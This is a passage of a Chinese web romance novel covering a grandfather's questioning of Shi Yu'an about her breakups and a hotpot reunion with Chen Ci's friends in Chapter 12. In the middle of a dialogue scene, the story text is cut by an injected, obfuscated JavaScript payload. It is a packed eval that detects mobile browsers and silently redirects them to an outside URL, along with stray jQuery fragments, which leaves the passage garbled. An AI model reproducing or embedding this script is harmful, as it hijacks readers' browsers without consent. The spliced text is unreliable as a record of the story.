常一样因为一句“不合适”就放过她,反而顺着话头往下探,“一个两个不合适可以理解,三个四个五个都不合适,念念,你是不是也该回过头,好好琢磨琢磨自个儿的问题了?” 时予安指尖一颤,茶水泼了些出来,溅在手背上,红了一小片。 “爷爷,”陈词插话:“感情的事,如人饮水,冷暖自知,念念有分寸,她知道自己想要什么。” 陈秉颂眼神在兄妹俩之间打了个转,意味深长地说了句:“有分寸就好,我就怕她哪天昏了头,把自己绕进去。” 时予安垂头盯着手背上那片红痕,没有出声,这时陈词站起身,“爷爷,时间差不多了,晚上公司还有个越洋会议,我们得先回去了,改天再来看您。”他转身对时予安说:“念念,你先去车上等我,我进屋拿个钥匙咱们就走。” 时予安如蒙大赦,“爷爷,那我先走了,您多保重身体。” 陈秉颂“嗯”了一声,时予安拎起包,快步走出了院子。 院子里只剩下祖孙二人,陈秉颂冷冷哼了一声,陈词讨好地笑笑,“爷爷。” “别跟我嬉皮笑脸的。”陈秉颂把茶盏往石桌上一顿,发出不轻不重的声响,“还越洋会议,你当我老糊涂了,这么好糊弄?” 陈词摸摸鼻子,没辩解,只是笑。 “我就说了她两句,你就急吼吼地要把人带走,怎么,我这个当爷爷的,连句话都不能说了?” “爷爷,我不是那个意思,念念挺怕您的,您别老这么吓唬她。” “我什么时候吓唬她了?”陈秉颂瞪眼,“我是为她着急!你看看她,过了年就二十七了,身边连个靠谱的人影都没有,我跟你说正经的,李家那个小孙子从英国留学回来了,上礼拜他爷爷带着来我这儿下棋,我看了,挺不错的一个孩子,抽时间让念念去见见,吃个饭,认识认识。” 陈词闻言脸上笑意淡了些,“爷爷,感情的事,您老人家就别操心了,也别乱点鸳鸯谱,今天让她跟这个相亲,明天让她跟那个相亲,念念不会去的。” “你都没问问她,怎么知道她不乐意去?” “爷爷,您要是真觉得她乐意去,这话就不会跟我说了,刚才念念在的时候您就说了。” “你就纵着她吧。”良久,陈秉颂说:“你爸妈纵着她,你这个当哥哥的也纵着她,真把她纵出个好歹来,百年以后,我怎么跟人家亲外公交代?” 陈词眼神探究,“您是不是听谁说什么了?” “我听亭曦说,念念那丫头经常泡在酒吧跟人喝酒,你听听,哪有一点大家闺秀的样子?” 陈词眉头蹙了一下,还没说什么,陈亭曦不知什么时候从屋里出来了,站在廊下,闻言快嘴快舌地应道:“就是啊,哥哥,你不知道,你在国外的时候时姐姐玩得可疯了,经常泡在酒吧跟一帮不三不四的人喝得东倒西歪,而且穿得特别暴露。” “你怎么知道?”陈词问。 陈亭曦没想到他听完第一句话是问这个,打了个磕巴,“我、我亲眼看见的。” “你亲眼看见了,说明你也在酒吧?” “怎么可能?”陈亭曦脸一红,梗着脖子辩驳:“我才不去那种地方!我记错了,我是……我是听朋友说的!” “亭曦,什么时候听来的话也能到处当事实讲了?”陈词冷下脸,“爷爷怎么教育我们的,未知全貌,不予置评。这种捕风捉影的事,以后别拿到爷爷跟前来说。” 陈亭曦被他看得心虚,又委屈,扁了扁嘴,不敢再吭声,扭身又躲回屋里去了。 陈秉颂看着陈词,“你可真威风。” “没有,”陈词不卑不亢,“我帮您教育教育亭曦,别净学些背后编排人的坏习惯。” “就算亭曦说的那些是假的,那念念谈了好几个对象都不了了之,这是事实吧?”陈秉颂道。 “女孩子多谈几段恋爱怎么了,既然要嫁人,不得好好挑挑啊?” “挑,挑吧,我看你妹妹最后挑个什么样的天仙回来。” 陈词笑了,说:“不用天仙,她喜欢就成。” “喜欢……”老爷子重新靠回躺椅上,眯着眼,看向蔚蓝高远的天空,“你们还是年轻,这世上,既两情相悦,又能顺顺当当在一起的,能有几对呦。” 12. 第 12 章 蓝紫色调的夜晚,时予安喜欢听着音乐坐车,望窗外行人匆匆,车水马龙,望大厦华灯初上,灯火辉煌。在这样的氛围里,她有时感觉孤独,有时又感觉很幸福,区别在于,想念的那个人在不在身边。 前方是一个漫长的红灯,陈词停了车,手随意搭在方向盘上,歪头看时予安,她正侧着身子,用指尖在起雾的车窗上画着什么,没察觉他的视线。 她先画了一个圆滚滚的轮廓,接着在上面添了两只耳朵,一个鼻子,红灯倒计时十五秒,一只憨头憨脑的小猪出现在车窗上,陈词略一挑眉,食指在方向盘上轻轻敲了两下,没出声。 倒计时十秒,时予安在猪头旁边打了个箭头,他顺着箭头指的方向看过去,那里写着两个模糊的字: 陈词。 他愣了下,而后失笑。 绿灯亮,车子驶上环路,陈词接到江望电话:“你俩怎么还没回来?说好了晚上吃火锅,我们这大包小包的都在你家门口堵着呢。” 时予安这才回过头,光线幽暗,陈词的侧脸被窗外掠过的路灯映得明明暗暗,可能是开车久了有些疲乏,他说话的语气懒散又随意,“密码你们不都知道吗?直接进去不就得了。” “我们已经进来了,刚刚就是象征性地问一下,显得我们比较有边界感,你要是不同意我们再退出去也行。” “德行!”陈词笑骂,“我叫了个上门烤全羊,师傅待会儿就到。你们先弄着火锅和菜,注意安全,别把我家厨房点了。” “那不能,今儿迟烁掌勺,靠谱。” 这时一阵刺耳的歌声突然传过来,“我好想你——好想你——” 陈词和时予安冷不防吓一跳,陈词皱眉问:“谁在旁边干嚎?” “还能有谁,老四呗。失恋了正难受呢,抱着麦克风对迟烁他们家小北知唱《我好想你》,迟烁说要请念念打官司,告老四骚扰婴幼儿。” 时予安噗嗤笑了一声,陈词把音量调小,短短几十秒脑仁被吵得嗡嗡的,“你跟他说,再敢嚎一句,今晚烤全羊没他份儿。” “好嘞,就等你这句话呢!”江望话音刚落,方逸航夺过电话嚷嚷着抗议:“陈词你他妈还是不是兄弟!我正脆弱着呢!!” “你脆弱个屁!”迟烁声音插进来,一点不带客气的,“都分八百回了还搁这儿矫情,赶紧过来帮忙!” 时予安听见十一和昭昭在憋笑,方逸航“哦”了一声,没了声响,大概真去厨房帮忙了。 车子开进小区地下车库,停稳,电梯直达16楼,门一开,热闹的声浪和阵阵菜香扑面而来。 陈词嘴角挂着笑,看着门口或站或倚的几个人,道:“好久不见。” “可算回来了你!”方逸航冲上来锤了下他肩膀,江望和迟烁散漫地倚着墙笑。 好友碰面,免不了一阵打闹,你捶我一下,我捅你一拳,嘻嘻哈哈闹成一团。他们几个从小好到大,小时候住在一个大院,长大了愣是又凑到同一小区的同一栋楼里扎了堆。当初买房的时候赶一块买的,嘴上说的冠冕堂皇,远亲不如近邻,住得近,谁家有点事儿也好搭把手,老了还可以结伴去跳广场舞,其实说白了就是图个蹭饭方便,半夜想喝酒了能一脚踹开对方家门。 圈子里有人不理解,说至于吗,腻乎成这样,非得住一栋楼?人家几个当时是这么回答的:当然至于!好朋友就得住一块儿,常见面、常吃饭,常瞎侃,感情才散不了! “哎哎!”时予安提着两瓶红酒从陈词身后探出脑袋,“见友忘色,把我忘了啊?” 方逸航松开陈词,张开胳膊给了时予安一个拥抱,陈词站在一旁看着他俩,末了方逸航还装模作样地上下一打量时予安,得出结论:“黑了。” “滚蛋。”时予安翻了个白眼,心想就你这张嘴,你不失恋谁失恋。 还是迟烁比较靠谱,问她:“在贵州待得还好?” “好着呢,”时予安把红酒递给他,“肯定比某个失恋了在家鬼哭狼嚎的人强。” “嘿!你这丫头!”方逸航被戳中痛处,作势要敲她脑袋。 时予安灵活躲开,跟十一抱了下,接着转向江望,露出一个格外灿烂的笑容:“好久不见,三哥,你又变帅了!” 此话一出,大家齐刷刷扭头看她,纷纷念叨:今儿怎么回事,念念嘴巴这么甜? “呵呵,怕我找她算账呗,”江望似笑非笑:“竟然敢骗我十一被人绑架了,吓得我出了一身冷汗。” “不好意思啦。”时予安双手合十。 说笑间进了屋,陈词脱了外套,时予安一边换鞋一边问:“昭昭和小北知呢?” “这儿呢。”姜半夏抱着刚睡醒的小北知走过来,哄宝宝叫念念干妈。时予安接过陈词递来的湿巾擦手,然后把小北知接过来抱在怀里,稀罕地摸摸宝宝小脸,低头跟他说话,小北知好奇地看着干妈,嘴里咿咿呀呀。 姜半夏放心地把儿子交给她,去客厅和许归忆一起看电影。时予安抱了一会儿,突然想起什么,对正在喝水的陈词说:“哥你帮我抱一下小北知,我给他拍几张照片。” 陈词放下水杯洗过手,从时予安怀里接过开始有点扭动的小北知,手臂稳稳地托住他,小北知好像认得陈词,伸手抓他鼻梁上架的眼镜。 陈词捉住他乱动的小胳膊,温声哄:“北知,这个不可以抓哦,看干妈在干嘛?” “北知看这里,笑一个……”时予安举着手机找角度,“我得多拍几张,关键时刻能派上大用场。” 在客厅的姜半夏听到,好奇地问:“什么大用场?” 有几张陈词也出镜了,时予安一边检查照片一边解释:“上次在机场被一个男的搭讪,怎么甩也甩不掉,说结婚了也没用,后来还是翻出相册里小北知的照片,跟他说这是我儿子,才把那人打发走了。” 迟烁端着碗筷放到桌上,闻言笑道:“是你儿子么你就瞎吹?” “怎么不是?”时予安理直气壮,“干妈也是妈,干儿子也是儿子,你们说是不是?” 一屋子人笑起来,连连附和:“是是是,没毛病!” “现在碰到搭讪的说结婚也没用了么,那人怎么这样啊……”许归忆蹙眉。 “不要脸呗,”陈词抱着小北知轻轻晃了晃,漫不经心地接话:“有些人就是没什么道德感,总觉得对方就算结了婚,自己也还有下手机会,反正偶尔出一次轨也没什么,你不说我不说谁能知道?”陈词顶看不上这种人。 时予安拍完照,心满意足地收起手机,“对了,我突然想起来,那人还是三哥公司的,跟我好一阵炫耀。” “我们公司的?”江望惊讶地挑高眉毛,“回头我找人问问,看看是谁这么厚脸皮。” “建议他转行去做销售。”迟烁道。 正聊着,电话响,烤全羊的师傅说快烤好了,让他们下去看看火候。 “走,念念,咱俩下去瞅一眼。”许归忆朝时予安使了个眼色,直到两人下了楼,许归忆才问:“你跟那个苏洋,断干净没?” “干净了。”时予安答得轻快,院子里炉火正旺,整只羔羊被果木慢火炙烤了三个小时,皮色金黄酥亮,油珠子时不时滴进火里,滋啦一声,腾起一阵带着焦香的烟。 许归忆瞥她一眼,又问:“这个也不喜欢?” “不喜欢。”时予安声音低了些,将视线从烤炉上移开,落在一块被灯光照得发亮的地砖上,“十一,你还记得前段时间我跟你抱怨么?我说随着年纪的增长,自己这些年好像变得越来越麻木了,跟谁吃饭、约会都一样,都快忘了心动是什么感觉了。” “但是?” “但是,”时予安抬起头,望向那个亮着温暖灯光的窗口,嘴角不知不觉弯起来,“但是他一回来,我就想起来了,哦,原来心动是这种感觉。” 许归忆听着,阵阵心酸,她揽住时予安肩膀,“念念,要不……别谈了吧。你又不喜欢他们,这么勉强自己做什么?词哥要是知道你谈的是这种‘奇葩’恋爱,保准收拾你。” “收拾谁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025688|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后冷不丁响起一道声音,两人吓一大跳同时回头,陈词、迟烁和方逸航正瞧着她们。 “你们怎么也下来了?”时予安问。 “下来帮忙端羊肉啊,你俩细胳膊细腿的,拿得了吗。”方逸航说。 陈词先去给守着烤炉的师傅送了盘刚出锅的水饺,回来时随口一问:“你俩说什么悄悄话呢?” 时予安扯扯许归忆衣服。 许归忆眨眨眼睛,说:“词哥,念念又分手了,这都第五个了,你快管管她吧,别让她出来祸害良家妇男了。” 陈词视线转到时予安脸上,问:“我管你就听?” “或许?”时予安挑了挑眉毛。 陈词定定看她片刻,又瞥一眼看热闹的迟烁和方逸航,说:“不管。省得到时候你们几个又嫌我管得多,说我还没当爹呢就开始多管闲事了。” 正好师傅说羊好了,几人便收了话头,帮着师傅把烤得外焦里嫩的全羊卸开,一大盘一大盘地端上楼。 铜锅咕嘟咕嘟冒着泡,旁边摆满了各色涮菜,中间则隆重地摆上几大盘烤羊肉。众人落座,挤了满满一桌。陈词戴上一次性手套,低头给大家分羊肉,下手前忘了摘眼镜,镜片上蒙了层淡淡的雾气,什么也看不清了,他微微侧过脸,凭记忆向身边时予安的方向低头靠近,“念念,帮我摘一下眼镜。” 他低头的姿势很自然,时予安屏住呼吸,小心捏住镜腿,向上轻轻一提,过程中不可避免地蹭到他耳廓,带起一阵细微的颤栗。 眼镜彻底摘下来的那一刻,陈词眨了眨眼,雾气散去,他的目光清明地落回来,朝她很淡地笑了一下。 时予安垂下眼,将眼镜仔细折好,镜片朝上,平放在一旁干净的纸巾上。 “开动开动!”许归忆早就等不及了,率先夹起一大块连着脆皮的羊肉开始啃。 热气腾腾中,大家边吃边聊,方逸航看看迟烁姜半夏,再看看江望许归忆,人家都是成双成对的,就他一个孤家寡人,幸好还有陈词和念念陪他,不然他真要自闭了。 方逸航蔫蔫地戳着碗里的菜,重重叹了口气。 大家还挺关心他,问他咋了,方逸航有气无力地放下筷子,“还能咋,我失恋,我难过,我心里苦。” “我说什么来着,四哥,渣人者,必被渣。”时予安幸灾乐祸地看着他,“你之前甩了那么多女朋友,现在终于尝到被甩的滋味儿了吧?怎么样,不好受吧?” “彼此彼此,”方逸航端起酒杯跟她碰了一下,“我甩的女朋友没你甩男朋友的多,咱俩半斤八两,谁也别说谁。” 时予安被怼了,撇撇嘴,“谁跟你半斤八两。” 陈词问方逸航:“你不是号称‘万花丛中过,片叶不沾身’吗,这回怎么栽了?” 方逸航干了杯酒,“之前那些都是玩玩,但这个我是真动心了。”他自嘲地笑笑,“可能真是报应吧。人家说,第一次真正心动的人,才算初恋。我这初恋倒好,不到一个月就无疾而终了。” 姜半夏好心安慰他,“失恋没什么大不了,过段时间就好了。” “好不了,”方逸航摇头唏嘘:“对一个男人来说,初恋是相当难忘的存在,是永远的白月光。” 许归忆突然冷笑,眼睛直勾勾瞪着方逸航。 江望刚才去厨房拿勺子了,没参与对话,坐下后察觉十一情绪不对,问她怎么了。时予安有仇当场就报,和看热闹不嫌事大的迟烁你一言我一语地把方逸航说的话重复一遍,特别是最后那句“初恋难忘”。江望听完,抬腿给了方逸航一脚,“我挖你家祖坟了还是诛你家九族了?” 方逸航反应过来自己失言,赶紧给许归忆赔礼道歉,一片笑闹声中,时予安忽然转过脸问陈词,“哥,你呢?” “什么?” “四哥说初恋难忘,那你这么多年一直不谈恋爱,也是因为忘不掉初恋吗?” 啪嗒,陈词手里的羊排掉了,他缓缓扭头,一脸“你在说什么”的表情,“什么初恋?我没谈过恋爱。”